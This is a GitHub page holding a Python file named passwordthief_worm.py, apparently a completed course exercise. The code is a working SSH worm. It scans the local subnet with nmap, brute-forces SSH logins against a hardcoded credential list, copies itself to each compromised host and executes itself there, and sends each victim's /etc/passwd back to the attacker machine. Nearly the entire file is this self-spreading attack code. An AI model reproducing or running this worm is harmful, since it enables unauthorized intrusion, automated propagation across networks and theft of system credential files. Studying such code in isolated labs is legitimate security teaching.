-
Notifications
You must be signed in to change notification settings - Fork 1
/
passwordthief_worm.py
274 lines (224 loc) · 8.15 KB
/
passwordthief_worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
import paramiko
import sys
import socket
import nmap
import netinfo
import os
import sys
# The list of credentials to attempt
credList = [
('hello', 'world'),
('hello1', 'world'),
('root', '#Gig#'),
('cpsc', 'cpsc'),
]
# The file marking whether the worm should spread
INFECTED_MARKER_FILE = "/tmp/infected.txt"
def copyPasswd():
sshClient = paramiko.SSHClient()
sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy())
sshClient.connect(sys.argv[1], username="cpsc", password="cpsc")
print("Sending passwd file to attacker VM.")
sftpClient = sshClient.open_sftp()
sftpClient.put("/etc/passwd", "/tmp/passwd_" + getMyIP())
##################################################################
# Returns whether the worm should spread
# @return - True if the infection succeeded and false otherwise
##################################################################
def isInfectedSystem():
if (os.path.isfile(INFECTED_MARKER_FILE)):
return True
return False
# os.path.isfile(INFECTED_MARKER_FILE)
# # Check if the system as infected. One
# # approach is to check for a file called
# # infected.txt in directory /tmp (which
# # you created when you marked the system
# # as infected).
# pass
#################################################################
# Marks the system as infected
#################################################################
def markInfected():
#createn file and truncate if necessary, close it after creating
os.chdir("/tmp")
open("infected.txt", 'w').close()
# # Mark the system as infected. One way to do
# # this is to create a file called infected.txt
# # in directory /tmp/
# pass
###############################################################
# Spread to the other system and execute
# @param sshClient - the instance of the SSH client connected
# @param IP, - the IP of the attacker to be passed as system argument so that we do not attack.
# to the victim system
###############################################################
def spreadAndExecute(sshClient, IP):
sftpClient = sshClient.open_sftp()
sftpClient.put("passwordthief_worm.py", "/tmp/passwordthief_worm.py")
sshClient.exec_command("chmod a+x /tmp/passwordthief_worm.py")
sshClient.exec_command("python /tmp/passwordthief_worm.py " + IP + " 2> errors.txt")
# This function takes as a parameter
# an instance of the SSH class which
# was properly initialized and connected
# to the victim system. The worm will
# copy itself to remote system, change
# its permissions to executable, and
# execute itself. Please check out the
# code we used for an in-class exercise.
# The code which goes into this function
# is very similar to that code.
# pass
############################################################
# Try to connect to the given host given the existing
# credentials
# @param host - the host system domain or IP
# @param userName - the user name
# @param password - the password
# @param sshClient - the SSH client
# return - 0 = success, 1 = probably wrong credentials, and
# 3 = probably the server is down or is not running SSH
###########################################################
def tryCredentials(host, userName, password, sshClient):
try:
sshClient.connect(host, username = userName, password = password)
return 0
except socket.gaierror:
#print("Could not connect to host")
return 3
except socket.error:
#print("Could not connect to host")
return 3
except paramiko.SSHException:
return 1
# Tries to connect to host host using
# the username stored in variable userName
# and password stored in variable password
# and instance of SSH class sshClient.
# If the server is down or has some other
# problem, connect() function which you will
# be using will throw socket.error exception. # Otherwise, if the credentials are not
# correct, it will throw
# paramiko.SSHException exception.
# Otherwise, it opens a connection
# to the victim system; sshClient now
# represents an SSH connection to the
# victim. Most of the code here will
# be almost identical to what we did
# during class exercise. Please make
# sure you return the values as specified
# in the comments above the function
# declaration (if you choose to use
# this skeleton).
#pass
###############################################################
# Wages a dictionary attack against the host
# @param host - the host to attack
# @return - the instace of the SSH paramiko class and the
# credentials that work in a tuple (ssh, username, password).
# If the attack failed, returns a NULL
###############################################################
def attackSystem(host):
# The credential list
global credList
# Create an instance of the SSH client
ssh = paramiko.SSHClient()
# Set some parameters to make things easier.
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# The results of an attempt
attemptResults = None
# Go through the credentials
for (username, password) in credList:
# TODO: here you will need to
# call the tryCredentials function
# to try to connect to the
# remote system using the above
# credentials. If tryCredentials
# returns 0 then we know we have
# successfully compromised the
# victim. In this case we will
# return a tuple containing an
# instance of the SSH connection
# to the remote system.
value = tryCredentials(host, username, password, ssh)
if value == 0:
attemptResults = (ssh, username, password)
break
# Could not find working credentials
return attemptResults
####################################################
# Returns the IP of the current system
# @return - The UP address of the current system
####################################################
def getMyIP():
for interface in netinfo.list_active_devs():
if not interface.startswith('lo'):
return netinfo.get_ip(interface)
#######################################################
# Returns the list of systems on the same network
# @return - a list of IP addresses on the same network
#######################################################
def getHostsOnTheSameNetwork():
# TODO: Add code for scanning
# for hosts on the same network
# and return the list of discovered
# IP addresses.
# Create an instance of the port scanner class
portScanner = nmap.PortScanner()
# Scan the network for systems whose
# port 22 is open (that is, there is possibly
# SSH running there).
portScanner.scan('192.168.1.0/24', arguments='-p 22 --open')
# Scan the network for hoss
hostInfo = portScanner.all_hosts()
# The list of hosts that are up.
liveHosts = []
# Go trough all the hosts returned by nmap
# and remove all who are not up and running
for host in hostInfo:
# Is ths host up?
if portScanner[host].state() == "up":
liveHosts.append(host)
return liveHosts
networkHosts = getHostsOnTheSameNetwork()
print(getMyIP())
print(networkHosts)
#We can tell if we are an attacker with the system arguments. If there are no sys arg
#we know that we are the attacker and remove ourself from the list of networkHost and set IP to ourself
if len(sys.argv) == 1:
IP = getMyIP()
networkHosts.remove(IP)
#Else if # of arguments is 2, we will remove the attacker's ip (from sys.argument) and the victim's IP
elif len(sys.argv) == 2:
if isInfectedSystem() == True:
sys.exit()
else:
markInfected()
IP = sys.argv[1]
networkHosts.remove(getMyIP())
networkHosts.remove(sys.argv[1])
copyPasswd()
#Prints Found Hosts
print "Found hosts: ", networkHosts
# Go through the network hosts
for host in networkHosts:
# Try to attack this host
sshInfo = attackSystem(host)
print sshInfo
# Did the attack succeed?
if sshInfo:
print "Trying to spread"
#The worm will check if the system has been infected by retrieving the infected.txt.
#It will give an IOError if the file does not exist, therefore we will sftp.put the worm on their system.
try:
remotepath = '/tmp/infected.txt'
localpath = os.getenv("HOME") + '/infected.txt'
sftp = sshInfo[0].open_sftp()
sftp.get(remotepath, localpath)
except IOError, e:
print e
print "Attacking: ", host
print "This system should be infected"
spreadAndExecute(sshInfo[0], IP)
sys.exit()
print "Spreading complete"